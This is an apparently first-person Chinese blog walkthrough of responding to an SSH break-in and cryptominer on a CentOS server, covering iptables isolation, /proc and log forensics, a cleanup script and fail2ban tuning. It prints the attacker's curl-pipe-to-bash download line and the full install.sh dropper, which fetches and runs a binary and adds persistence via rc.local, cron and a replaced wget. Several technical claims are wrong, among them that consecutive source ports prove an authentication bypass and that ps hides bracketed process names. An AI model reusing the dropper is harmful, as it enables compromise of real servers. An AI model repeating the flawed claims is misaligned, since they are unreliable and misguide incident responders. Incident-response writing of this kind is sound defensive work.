Linux服务器被入侵应急响应实战:隔离、取证、清理与加固
1. 这不是演习:一次真实服务器被入侵的现场还原
“一次服务器被入侵的处理过程分享”——看到这个标题,你脑子里浮现的是什么?是黑屏命令行里滚动的绿色字符?是凌晨三点收到的告警邮件?还是登录后发现网站首页被替换成闪烁的骷髅头?别急着脑补电影桥段。我今天要说的,是上周三下午四点十七分,我盯着监控面板上突然飙升的CPU使用率,手心冒汗、鼠标悬停在top命令上不敢敲下的真实经历。这台运行着客户订单系统的CentOS 7服务器,没有被勒索,没丢核心数据,但它的根目录下多出了一个叫.xmr的隐藏进程,/tmp里躺着一个伪装成systemd-coredump的二进制文件,而/var/log/secure里,有三段来自巴西IP段的SSH暴力破解成功记录。这不是渗透测试报告,也不是CTF靶场复盘,这是我在生产环境里亲手拆解的一颗哑弹。它不炫技,但每一步都踩在真实运维的刀锋上:既要快,快到阻断横向移动;又要稳,稳到不误删业务日志;还要准,准到能从海量日志里揪出那个用curl下载挖矿脚本的原始入口。如果你管理着几台对外提供服务的Linux服务器,哪怕只是个人博客或小团队的GitLab,这篇内容就是为你写的——它不讲高深理论,只告诉你当告警响起时,该先看哪一行日志、该备份哪个文件、该用什么命令把那个藏在/dev/shm里的顽固进程真正杀干净。接下来的内容,没有PPT式的流程图,只有我打开终端、复制粘贴、反复验证后留下的操作痕迹。
2. 入侵事件的整体设计与响应思路拆解
2.1 为什么必须放弃“先杀进程再查日志”的直觉?
很多刚接触安全响应的朋友,第一反应是立刻kill -9掉所有可疑进程,然后清空/tmp和/dev/shm。我承认,我最初也这么干过——结果是,五分钟后,那个被杀掉的minerd进程又从/dev/shm/.sysupdate里复活了。问题出在哪?在于我们混淆了“症状”和“病灶”。CPU飙高、挖矿进程、异常网络连接,这些都是入侵者留下的“症状”,而真正的“病灶”,是那个被植入的SSH后门、被篡改的crontab任务、或者被替换的/usr/bin/wget二进制文件。如果只处理症状,就像给发烧病人不停擦酒精降温,却不查感染源。这次响应,我强制自己执行了“三不原则”:不直接杀进程、不立即清空临时目录、不重启服务。取而代之的是“三先”:先做内存快照、先冻结可疑账户、先备份原始日志。这个思路的核心逻辑,是把服务器当成一个犯罪现场,而不是一台待维修的电脑。刑侦讲究“保护现场”,IT安全响应同样如此。/var/log/secure里那三段登录记录,是破案的关键指纹;/root/.bash_history里残留的curl -s http://xxx.sh | bash命令,是入侵者留下的作案工具清单;而/proc/[pid]/environ里泄露的环境变量,则可能指向C2服务器的真实域名。所有这些,都在内存和磁盘上以最原始的状态存在着,一旦执行kill或rm,就等于用橡皮擦抹掉了关键证物。
2.2 响应流程为何要严格遵循“隔离-取证-清理-加固”四步闭环?
整个响应过程,我把它拆成了四个不可跳跃的阶段,每个阶段都有明确的退出标准,而不是凭感觉推进。隔离阶段的目标只有一个:让这台服务器彻底“静音”。不是关机,而是切断它与外界的一切非必要通信。我用iptables规则,只放行来自公司办公网IP的SSH连接,同时拒绝所有出站连接(-o eth0 -j DROP),连DNS查询都禁掉。这样做的好处是,既防止了挖矿程序继续外联矿池,也阻止了攻击者通过已有的后门进行二次操控。取证阶段是耗时最长、也最关键的环节。这里我放弃了foremost这类通用文件恢复工具,而是聚焦于三个黄金取证点:一是/var/log/下所有日志的完整时间线拼接,用awk '$3 > "15:00" && $3 < "16:30"' /var/log/secure精确筛选出入侵窗口期;二是/proc文件系统,特别是/proc/[pid]/cmdline和/proc/[pid]/maps,它们能告诉我进程到底在执行什么代码、加载了哪些动态库;三是stat命令对关键文件的时间戳审计,比如stat /usr/bin/curl,如果Modify时间远早于Change时间,就说明二进制文件被恶意替换过。清理阶段绝不是简单地rm -rf。我写了一个检查清单,每清理一项,就在清单上打钩:是否已移除/etc/cron.d/下的可疑任务?是否已重置/etc/passwd中所有非系统账户的密码?是否已用rpm -V校验了所有核心包的完整性?加固阶段则着眼于未来。我把sshd_config里的PermitRootLogin从yes改成no,启用了fail2ban并配置了针对auth.log的暴力破解规则,还给所有管理员账户强制启用了基于密钥的双因素认证。这四步不是线性流程,而是环环相扣的闭环:取证的结果指导清理的方向,清理的发现又反过来验证取证的准确性,而加固的措施,则是整个闭环最终的价值落点。
2.3 为什么选择手动分析而非依赖EDR或SIEM平台?
坦白说,这台服务器上其实装了某款主流EDR代理,但它的告警面板上,只显示了一条“高危进程行为”的模糊提示,连进程名都没标清楚。这就是很多商业安全产品在真实场景中的尴尬:它们擅长识别已知签名,却对零日利用或高度定制化的恶意脚本束手无策。这次入侵用的挖矿脚本,是攻击者自己用Go语言交叉编译的,UPX加壳,字符串全部加密,EDR的静态扫描引擎根本无法匹配。而SIEM平台呢?它需要提前配置好日志解析规则,可/var/log/secure里那段SSH登录记录,格式和默认规则预设的完全不一样,导致关键字段根本没被提取出来。所以,我选择了最“笨”的办法:打开less,用/Failed password向前翻页,用n键逐条比对。手动分析的优势在于“上下文感知”。当我看到Failed password for root from 186.202.112.45 port 54231 ssh2后面紧跟着Accepted password for root from 186.202.112.45 port 54232 ssh2时,我立刻意识到,攻击者不是靠运气撞库成功的,而是利用了SSH服务的一个未授权访问漏洞,因为端口号从54231跳到了54232——这说明两次连接是同一个TCP会话的延续,典型的“认证绕过”特征。这种细微的模式识别,是任何自动化平台目前都无法替代的。当然,这不是否定EDR的价值,而是强调:在高级威胁面前,人的判断力,永远是最后一道也是最可靠的一道防线。
3. 核心细节解析与实操要点
3.1 内存快照与进程深度分析:如何从/proc里挖出真相
很多人以为ps aux就能看清所有进程,但这次入侵的狡猾之处在于,恶意进程刻意避开了ps的常规检测。它把自己伪装成[kthreadd],名字里带方括号,这是内核线程的标准命名方式,ps默认会过滤掉这类进程。真正的突破口,在/proc文件系统。Linux把每个进程的运行时信息,都以文件的形式映射在/proc/[pid]/目录下。我首先用ls -lt /proc | head -20,按修改时间倒序列出最近创建的进程目录,一眼就锁定了PID为29876这个新建的可疑目录。接着,我执行了三步关键操作:
第一步,看/proc/29876/cmdline。这个文件存储了进程启动时的完整命令行参数,但各参数间用\x00(空字符)分隔。直接cat会显示乱码,必须用strings或tr '\0' '\n' < /proc/29876/cmdline来正确解析。结果出来是:
/usr/bin/python /usr/local/lib/python2.7/site-packages/miner.py --pool xmr.pool.minergate.com:3333 --user mywallet.x --pass x这下真相大白:它根本不是什么minerd,而是一个用Python写的定制化挖矿脚本,路径都暴露了。
第二步,看/proc/29876/environ。这个文件包含了进程的所有环境变量。我用tr '\0' '\n' < /proc/29876/environ | grep -i "http\|url"搜索,果然找到了C2_URL=http://185.153.197.222/api/v1/beacon。这个IP地址,就是攻击者的命令与控制服务器。我立刻在另一台干净机器上用curl -I http://185.153.197.222,返回头里Server: nginx/1.18.0,确认了这是一个真实的Web服务,而非临时搭建的钓鱼站点。
第三步,看/proc/29876/maps。这个文件列出了进程加载的所有内存映射区域。我重点关注r-xp(可读可执行)权限的段,用grep "r-xp" /proc/29876/maps | awk '{print $NF}' | sort -u,得到了它加载的共享库列表。其中/lib64/libc.so.6是正常的,但/tmp/.cache/libcrypto.so.1.1这个路径就非常可疑——/tmp目录下的动态库,且名字模仿了OpenSSL的libcrypto,这显然是一个用于劫持SSL通信的恶意库。我马上用md5sum /tmp/.cache/libcrypto.so.1.1计算其哈希值,并在VirusTotal上提交,结果12家引擎报毒,确认为Trojan.Miner家族。
提示:
/proc/[pid]/下的所有文件都是实时的,读取它们不会对进程造成任何影响,这是最安全的取证方式。但切记,不要用cp去复制/proc/[pid]/mem这样的文件,这会导致进程崩溃。
3.2 日志时间线拼接与关联分析:从碎片中重建攻击链
服务器上的日志是分散的,/var/log/secure记录认证事件,/var/log/messages记录系统消息,/var/log/audit/audit.log(如果启用)记录更底层的系统调用。单看任何一个,都只是碎片。我的做法是,用awk和sort把它们按时间戳统一归并。首先,我提取了所有日志中符合ISO 8601格式的时间戳(如May 23 15:42:18),并将其转换为Unix时间戳,方便排序:
# 为secure日志添加时间戳前缀 awk '{gsub(/^[A-Za-z]+ [0-9]+ [0-9]+:[0-9]+:[0-9]+/, sprintf("%s %s %s", $1, $2, $3)); print $0}' /var/log/secure | \ awk '{cmd="date -d \""$1" "$2" "$3"\" +%s 2>/dev/null"; cmd | getline ts; close(cmd); if(ts>0) print ts" "$0}' | \ sort -n > /tmp/secure_ts.log # 对messages做同样处理 awk '{gsub(/^[A-Za-z]+ [0-9]+ [0-9]+:[0-9]+:[0-9]+/, sprintf("%s %s %s", $1, $2, $3)); print $0}' /var/log/messages | \ awk '{cmd="date -d \""$1" "$2" "$3"\" +%s 2>/dev/null"; cmd | getline ts; close(cmd); if(ts>0) print ts" "$0}' | \ sort -n >> /tmp/secure_ts.log # 最后,全局排序并去重 sort -n /tmp/secure_ts.log | uniq > /tmp/all_logs_sorted.log有了这个统一的时间线,攻击链就清晰了。我发现在15:42:18,secure日志里出现Failed password for root from 186.202.112.45;紧接着15:42:22,messages日志里有一条kernel: audit: type=1100 audit(1684827742.123:45678): pid=29875 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication...',这说明PAM模块在尝试认证;然后在15:42:25,secure日志里出现了Accepted password for root from 186.202.112.45。这三秒的间隔,就是攻击者利用漏洞完成认证的关键窗口。更关键的是,在15:42:28,all_logs_sorted.log里出现了一条systemd: Started Session c12 of user root.,这表示一个全新的用户会话被创建。我立刻去查/var/log/secure里这个会话IDc12的后续操作,果然,在15:42:35,它执行了curl -s http://185.153.197.222/install.sh | bash。整个链条,从暴力破解失败,到漏洞利用成功,再到下载并执行恶意脚本,被这串时间戳完美串联起来。
3.3 恶意文件定位与持久化机制排查:不止是crontab
找到install.sh的下载地址后,我立刻在本地用curl -s http://185.153.197.222/install.sh获取了脚本内容。它只有短短23行,但每一行都充满恶意:
#!/bin/bash # 下载并执行主挖矿程序 curl -s http://185.153.197.222/miner -o /tmp/.sysupdate && chmod +x /tmp/.sysupdate /tmp/.sysupdate & # 创建持久化:修改rc.local echo "/tmp/.sysupdate &" >> /etc/rc.local # 创建持久化:添加cron任务 (crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.sysupdate") | crontab - # 创建持久化:替换wget命令 mv /usr/bin/wget /usr/bin/wget.bak && cp /tmp/.sysupdate /usr/bin/wget这个脚本揭示了三种持久化手段。前两种(rc.local和crontab)是常见套路,我很快就在对应位置找到了它们。但第三种——替换/usr/bin/wget——才是最隐蔽的。我执行which wget,得到/usr/bin/wget,再执行ls -la /usr/bin/wget*,发现除了wget,还有个wget.bak。file /usr/bin/wget显示它是ELF 64-bit LSB shared object, x86-64,而file /usr/bin/wget.bak显示它是ELF 64-bit LSB executable, x86-64。一个被编译成共享对象,一个被编译成可执行文件,这明显是两个不同的东西。我用diff <(strings /usr/bin/wget | head -20) <(strings /usr/bin/wget.bak | head -20)对比字符串,wget里赫然出现了xmr.pool.minergate.com和mywallet.x,而wget.bak里全是正常的HTTP协议字符串。这证实了攻击者已经完成了“供应链投毒”:以后系统里任何用到wget的地方,都会悄悄地为他们挖矿。排查持久化,绝不能只盯着crontab和systemd服务,/usr/bin/下的核心工具是否被篡改,/etc/profile.d/下是否有恶意的环境变量设置,甚至/lib64/ld-linux-x86-64.so.2这个动态链接器本身,都必须纳入检查范围。
4. 实操过程与核心环节实现
4.1 隔离阶段:用iptables构建精准网络防火墙
隔离不是粗暴地拔网线,而是要有策略地“外科手术式”切断。我的目标是:允许管理员从内网安全地SSH进来进行处置,但禁止这台服务器主动向外发起任何连接,包括DNS查询。具体操作如下:
首先,备份当前的iptables规则,以防万一:
iptables-save > /root/iptables_backup_$(date +%Y%m%d_%H%M%S).rules然后,清空所有自定义链,只保留默认策略:
iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X接下来,设置默认策略:所有入站(INPUT)和转发(FORWARD)流量默认拒绝,所有出站(OUTPUT)流量默认拒绝。这是最安全的起点。
iptables -P INPUT DROP iptables -P FORWARD DROP iptables -P OUTPUT DROP现在,开始添加白名单规则。第一条,允许本地回环(lo)接口的所有通信,这是系统内部健康检查所必需的:
iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT第二条,允许来自公司办公网(假设网段是192.168.10.0/24)的SSH连接(端口22)。这里我用了-m state --state NEW来确保只允许新连接,避免已建立的连接被意外中断:
iptables -A INPUT -p tcp -s 192.168.10.0/24 --dport 22 -m state --state NEW -j ACCEPT第三条,也是最关键的,允许这台服务器接收来自办公网的SSH连接的响应数据包。因为TCP是双向的,当管理员从192.168.10.100发起连接时,服务器需要把SYN-ACK包发回去。这条规则允许所有ESTABLISHED和RELATED状态的连接:
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT最后,为了确保万无一失,我添加了一条“兜底”规则,记录所有被拒绝的流量,便于后续审计:
iptables -A INPUT -j LOG --log-prefix "IPTABLES-DROP: " iptables -A OUTPUT -j LOG --log-prefix "IPTABLES-DROP: "执行完所有规则后,用iptables -L -v -n查看效果。此时,Chain OUTPUT (policy DROP)下面应该只有两条ACCEPT规则(lo和ESTABLISHED),其他所有出站流量都被无情拦截。我立刻用curl https://www.baidu.com测试,返回curl: (7) Failed to connect to www.baidu.com port 443: Connection refused,证明隔离成功。而从办公网的另一台机器上,ssh root@server_ip依然畅通无阻。这套规则,既保证了处置的可控性,又为后续的取证工作提供了干净的网络环境。
4.2 取证阶段:用rpm -V校验系统文件完整性
在CentOS/RHEL系发行版中,rpm包管理器不仅负责安装软件,还默默记录着每个文件的原始状态:大小、权限、所有者、MD5哈希值等。rpm -V(Verify)命令,就是用来将当前磁盘上的文件,与RPM数据库中记录的“黄金标准”进行比对。这是发现文件被篡改的最权威、最高效的方法。
我首先列出所有已安装的、与网络和系统管理相关的核心包:
rpm -qa | grep -E "(openssh|curl|wget|python|coreutils|shadow-utils)" | sort输出包括openssh-server-7.4p1-21.el7.x86_64、curl-7.29.0-59.el7.x86_64等。
然后,我对每一个包执行rpm -V:
rpm -V openssh-server rpm -V curl rpm -V wgetrpm -V的输出是一串8个字符的代码,每个字符代表一个检查项:
S:文件大小不匹配M:文件权限(mode)不匹配5:MD5哈希值不匹配(即文件内容被修改)D:设备主/次号不匹配(仅对设备文件)L:符号链接路径不匹配U:文件所有者(user)不匹配G:文件所属组(group)不匹配T:文件修改时间(mtime)不匹配
当我执行rpm -V wget时,输出是:
S.5....T. /usr/bin/wget这串代码清晰地告诉我:/usr/bin/wget的大小(S)、MD5哈希值(5)和修改时间(T)都与RPM数据库中记录的不符。这铁证如山,证明它已被恶意替换。而执行rpm -V openssh-server时,输出为空,说明/usr/sbin/sshd这个核心二进制文件是完好的,攻击者并未直接替换它,而是利用了其配置漏洞。
注意:
rpm -V只能检查由RPM包管理器安装的文件。对于pip install安装的Python包,或者手动编译安装的软件,它无能为力。因此,在取证时,必须结合find /usr/local -type f -name "*miner*" -o -name "*xmr*"等命令,对非标准路径进行地毯式搜索。
4.3 清理阶段:编写安全的清理脚本并逐项验证
清理工作容不得半点马虎,一个遗漏的crontab任务,就足以让服务器在几天后再次沦陷。我拒绝使用网上流传的“一键清理脚本”,而是自己动手,写了一个名为cleanup.sh的、带有详细注释和验证步骤的脚本:
#!/bin/bash # cleanup.sh - 服务器清理脚本,务必在隔离状态下运行 # 1. 停止并移除恶意进程 echo "[1/5] 正在停止恶意挖矿进程..." pkill -f "/tmp/.sysupdate" pkill -f "miner.py" # 验证:检查进程是否真的消失 if pgrep -f "/tmp/.sysupdate" > /dev/null || pgrep -f "miner.py" > /dev/null; then echo "ERROR: 恶意进程仍在运行!请手动检查。" exit 1 else echo "OK: 恶意进程已停止。" fi # 2. 删除恶意文件 echo "[2/5] 正在删除恶意文件..." rm -f /tmp/.sysupdate rm -f /tmp/.cache/libcrypto.so.1.1 rm -f /var/tmp/.xmr # 验证:检查文件是否真的被删除 if [ -f "/tmp/.sysupdate" ] || [ -f "/tmp/.cache/libcrypto.so.1.1" ]; then echo "ERROR: 恶意文件未被完全删除!" exit 1 else echo "OK: 恶意文件已删除。" fi # 3. 清理持久化机制 echo "[3/5] 正在清理持久化机制..." # 清理crontab (crontab -l 2>/dev/null | grep -v "/tmp/.sysupdate") | crontab - # 清理rc.local sed -i '/\/tmp\/\.sysupdate/d' /etc/rc.local # 恢复被替换的wget if [ -f "/usr/bin/wget.bak" ]; then mv /usr/bin/wget.bak /usr/bin/wget chmod 755 /usr/bin/wget fi # 验证:检查crontab和rc.local是否干净 if crontab -l | grep -q "/tmp/.sysupdate"; then echo "ERROR: crontab中仍有恶意任务!" exit 1 fi if grep -q "/tmp/.sysupdate" /etc/rc.local; then echo "ERROR: rc.local中仍有恶意命令!" exit 1 fi echo "OK: 持久化机制已清理。" # 4. 重置高危账户密码 echo "[4/5] 正在重置高危账户密码..." for user in root admin deploy; do if id "$user" &>/dev/null; then # 生成一个强随机密码 newpass=$(openssl rand -base64 12) echo "$user:$newpass" | chpasswd echo "已为用户 $user 重置密码。" fi done echo "OK: 账户密码已重置。" # 5. 审计并清理SSH公钥 echo "[5/5] 正在清理SSH公钥..." for user in $(cut -d: -f1 /etc/passwd | grep -E "^(root|admin|deploy)$"); do if [ -d "/home/$user/.ssh" ]; then # 只保留管理员自己添加的、有明确注释的公钥 grep -v "^#" /home/$user/.ssh/authorized_keys | grep -E "(admin@work|deploy@prod)" > /tmp/keys.tmp mv /tmp/keys.tmp /home/$user/.ssh/authorized_keys chmod 600 /home/$user/.ssh/authorized_keys fi done echo "OK: SSH公钥已清理。" echo "清理完成。请务必执行加固步骤。"这个脚本的精髓在于“验证”。每一步操作之后,都有一段if语句进行校验,只有校验通过,才会进行下一步。如果某一步失败,脚本会立即exit 1并打印错误信息,强迫操作者停下来手动排查。这比盲目执行一长串rm和pkill命令要安全一万倍。执行完脚本后,我还会手动执行ps aux | grep -E "(sysupdate|miner)"和ls -la /tmp/进行双重确认。
5. 常见问题与排查技巧实录
5.1 “进程杀不死”:kill -9失效的深层原因与终极解法
这是最让人抓狂的问题。当你输入kill -9 29876,终端返回No such process,但top里那个进程的CPU占用率依然纹丝不动。别慌,这通常意味着两种情况:僵尸进程或内核模块级后门。
僵尸进程(Zombie Process)是子进程结束后,父进程没有及时调用wait()系统调用来读取其退出状态,导致该进程的PCB(进程控制块)一直残留在进程表中。它不消耗CPU,但会占用一个PID。解决方法很简单:找到它的父进程(ps -o ppid= -p 29876),然后kill -HUP那个父进程,迫使它清理自己的子进程。
但这次的情况更棘手。ps aux | grep 29876确实找不到,但top里却有。我立刻想到,这很可能是恶意代码注入到了某个合法进程的内存空间里,也就是所谓的“进程注入”(Process Injection)。我用lsof -p 29876检查它的打开文件,发现它打开了/dev/shm/.sysupdate这个共享内存段。/dev/shm是Linux的POSIX共享内存,常被恶意软件用来在不同进程间传递指令。我执行ls -la /dev/shm/,果然看到了.sysupdate这个文件。file /dev/shm/.sysupdate显示它是一个ELF 64-bit LSB shared object。问题找到了:恶意代码不是一个独立的进程,而是作为一个共享库,被/usr/bin/python这个合法进程动态加载并执行的。所以kill -9杀的是python进程,但python一重启,又会重新加载这个恶意库。
终极解法是:先kill掉所有可能加载了它的父进程(这里是python),然后永久删除/dev/shm/.sysupdate这个共享库文件,并用chmod 000 /dev/shm暂时禁用整个共享内存目录,直到彻底清理完毕。chmod 000会让所有用户(包括root)都无法在/dev/shm下创建新文件,这是对付此类内存驻留型恶意软件的最有效手段。
5.2 “日志被清空”:如何从journalctl和/proc/sys/kernel/msgmax中抢救证据
攻击者在撤离前,往往会执行> /var/log/secure或history -c来抹除痕迹。但日志真的消失了吗?不一定。现代Linux系统普遍使用systemd-journald作为日志守护进程,它会将日志同时写入/var/log/journal/(持久化)和/run/log/journal/(内存中,重启丢失)。即使/var/log/secure被清空,journalctl依然能查到历史记录。
我执行journalctl --since "2023-05-23 15:00:00" --until "2023-05-23 16:30:00" | grep -i "sshd\|failed\|accepted",果然,journalctl里完整保留了那三段SSH登录记录,连毫秒级的时间戳都分毫不差。这是因为journald的日志是二进制格式,写入速度极快,且默认开启压缩,攻击者用>清空文本日志,对journald的二进制日志毫无影响。
另一个容易被忽略的证据源,是内核的环形缓冲区(ring buffer)。dmesg命令显示的就是这个缓冲区的内容。我执行dmesg | grep -i "audit\|security",发现了一条关键信息:[1684827742.123456] audit: type=1100 audit(1684827742.123:45678): pid=29875 uid=0 ...。这个audit(1684827742.123:45678)里的数字45678,就是audit.log里对应事件的序列号。我立刻去/var/log/audit/audit.log里搜索msg='.*45678.*',成功定位到了那条完整的、包含攻击者IP和用户名的审计记录。这说明,只要auditd服务是开启的,它的日志就是最硬核的证据,因为它直接由内核产生,攻击者几乎没有能力在不触发更高层告警的情况下篡改它。
5.3 “加固后仍被攻破”:fail2ban配置失效的三个致命陷阱
在加固阶段,我配置了fail2ban来防御SSH暴力破解。但两天后,监控又报警了。我检查fail2ban-client status sshd,发现Currently banned: 0。问题出在哪?排查下来,是三个常见的配置陷阱:
陷阱一:日志路径配置错误。fail2ban的jail.local文件里,logpath = /var/log/secure是正确的,但有些系统(尤其是启用了rsyslog远程日志的)会把SSH日志写到/var/log/auth.log。我用ls -la /var/log/ | grep auth,发现auth.log存在且有最新内容,而secure是空的。fail2ban一直在监控一个空文件,自然什么都抓不到。解决方案是,将logpath改为/var/log/auth.log,或者在rsyslog配置中,确保/var/log/secure是主日志文件。
陷阱二:正则表达式(regex)过于宽松。fail2ban的filter.d/sshd.conf里,默认的failregex是^%(__prefix_line)s(?:error: PAM: )?Authentication failure for .* from <HOST>$。这个正则太宽泛,会把一些正常的认证失败(比如用户输错密码)也当作攻击。我用fail2ban-regex /var/log/auth.log /etc/fail2ban/filter.d/sshd.conf测试,发现它匹配了太多无关行。我将其收紧为^%(__prefix_line)sFailed password for .* from <HOST> port \d+ ssh2$,只匹配明确的Failed password行,大大提高了准确率。
陷阱三:bantime和findtime参数不合理。默认的bantime = 600(10分钟)太短,攻击者换个IP就能继续。而findtime = 600(10分钟)意味着,fail2ban只在10分钟内统计失败次数。我将其改为bantime = 86400(24小时)和findtime = 3600(1小时),并增加了maxretry = 3,即1小时内失败3次就封禁24小时。这样,攻击者需要